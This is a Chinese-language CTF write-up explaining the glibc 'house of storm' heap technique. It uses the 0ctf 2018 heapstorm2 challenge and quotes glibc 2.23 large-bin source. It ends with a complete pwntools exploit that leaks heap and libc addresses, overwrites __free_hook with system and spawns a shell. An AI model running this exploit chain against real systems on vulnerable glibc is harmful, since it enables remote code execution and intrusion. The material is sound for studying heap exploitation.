house of storm

漏洞危害

  • 任意地址分配chunk

利用条件

  1. glibc版本小于2.30
  2. unsorted bin要比large bin大,两个chunk需要在归位之后处于同一个 largebin 的index中
  3. unsorted_binbk 可控
  4. large_binbk和bk_nextsize 可控

large bin attack

size >=0x400属于large bin

利用思路

  • 先放入一个large bin,再放入一个unsorted binlarge bin要比unsorted bin
  • 修改unsorted bin的bk为target addr
  • 修改large chunkbk = target addr+8; bk_nextsize = target addr-0x18-5,两个fd不超过一个地址位长度的数据都可以
  • 再次申请一个chunk就会在target处

glibc2.23版本相关源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// victim为插入large bin的chunk,fwd为large bin中的chunk                      
else
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
}
}
else
victim->fd_nextsize = victim->bk_nextsize = victim;
}

mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;

0ctf_2018_heapstorm2

check

image-20220324162421740

程序分析

init

image-20220324161747733

  1. 禁用 fastbin
  2. mmap一个空间作为heaparray

add

image-20220324162657734

edit

image-20220324162741291

  1. strcpy造成off by null

free

image-20220324162827612

show

image-20220324162842195

  1. 需要修改mmap上的数据,否则没有权限

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
#coding:utf-8
from pwn import *
# from LibcSearcher import *
import time, sys, base64

context.os = 'linux'
context.arch = 'amd64'
# context.arch = 'i386'
context.log_level = 'debug'

# 1 pro
# 2 remote
# 3 127
debug = 1
filename = '0ctf_2018_heapstorm2'

if debug == 1 :
p = process(filename)
if debug == 2:
p = remote('node4.buuoj.cn',20002)
if debug == 3:
p = remote('127.0.0.1',12345)
#23946

elf = ELF(filename)
libc = elf.libc

def cmd(index):
p.sendlineafter('Command: ',str(index))

def add(size):
cmd(1)
p.sendlineafter('Size: ',str(size))

def edit(index,content):
cmd(2)
p.sendlineafter('Index: ',str(index))
p.sendlineafter('Size: ',str(len(content)))
p.sendlineafter('Content: ',content)

def free(index):
cmd(3)
p.sendlineafter('Index: ',str(index))

def show(index):
cmd(4)
p.sendlineafter('Index: ',str(index))

fake_chunk = 0x13370800-0x20

add(0x18)#0
add(0x508)#1
add(0x18)#2
add(0x18)#3
add(0x508)#4
add(0x18)#5
add(0x500)#6
# UB overlapping
edit(1,b'\x00'*0x4f0 + p64(0x500))
free(1)
edit(0,'a'*(0x18-12))
add(0x18)#1
add(0x4d8)#7 ->50
free(1)
free(2)
add(0x38)#1
add(0x4e8)#2
# LB overlapping
edit(4,b'\x00'*0x4f0 + p64(0x500))
free(4)
edit(3,'a'*(0x18-12))
add(0x28)#1
add(0x4c8)#8 ->5b0
free(4)
free(5)
add(0x48)#1
# house of storm
free(2)
add(0x4e8)#2
free(2)
edit(7,p64(0)*3 + p64(0x4f1) + p64(0)+p64(fake_chunk))#UB
edit(8,p64(0)*3+p64(0x4e1)+p64(0)+p64(fake_chunk+8)+p64(0)+p64(fake_chunk-0x18-5))
add(0x48)
# leak heap
edit(2, p64(0)*6 + p64(0x13370800))
payload = p64(0)*3 +p64(0x13377331)
payload += p64(0x13370800) + p64(0x1000)
payload += p64(fake_chunk+3) + p64(8) #chunk1
edit(0, payload)
show(1)
p.recvuntil(': ')
heap_addr = u64(p.recv(6).ljust(8,b'\x00'))
log.info('heap_addr: ' + hex(heap_addr))
# leak libc
payload = p64(0)*3 + p64(0x13377331)
payload += p64(0x13370800) + p64(0x1000) #chunk0
payload += p64(heap_addr+0x10) + p64(8) #chunk1
edit(0, payload)
show(1)
p.recvuntil("]: ")
malloc_hook = u64(p.recv(6).ljust(8, b'\x00')) -0x58 - 0x10
libc_base = malloc_hook - libc.sym['__malloc_hook']
free_hook = libc_base+libc.sym['__free_hook']
system = libc_base+ libc.sym['system']
success("free_hook:" + hex(free_hook))
# getshell
payload = p64(0)*4
payload += p64(free_hook) + p64(0x100)#chunk0
payload += p64(0x13370800+0x40) + p64(8)#chunk1
payload += b'/bin/sh\x00'
edit(0, payload)
edit(0, p64(system))
free(1)

# gdb.attach(p)

p.interactive()